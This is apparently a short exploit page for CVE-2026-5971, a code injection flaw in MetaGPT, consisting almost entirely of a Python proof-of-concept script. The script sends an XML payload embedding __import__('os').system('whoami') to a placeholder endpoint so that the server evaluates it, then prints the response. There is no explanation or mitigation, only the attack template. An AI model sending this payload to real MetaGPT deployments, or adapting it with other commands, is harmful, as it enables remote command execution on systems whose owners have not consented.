CVE-2026-5971 MetaGPT代码注入漏洞

import requests # Target URL (example) target_url = "http://target-url:port/api/endpoint" # Malicious XML payload designed to inject code via xml_fill # The payload attempts to execute a command using dynamic evaluation payload_xml = """<?xml version="1.0"?> <root> <action> <param>__import__('os').system('whoami')</param> </action> </root>""" headers = { "Content-Type": "application/xml" } try: # Sending the malicious request response = requests.post(target_url, data=payload_xml, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"An error occurred: {e}")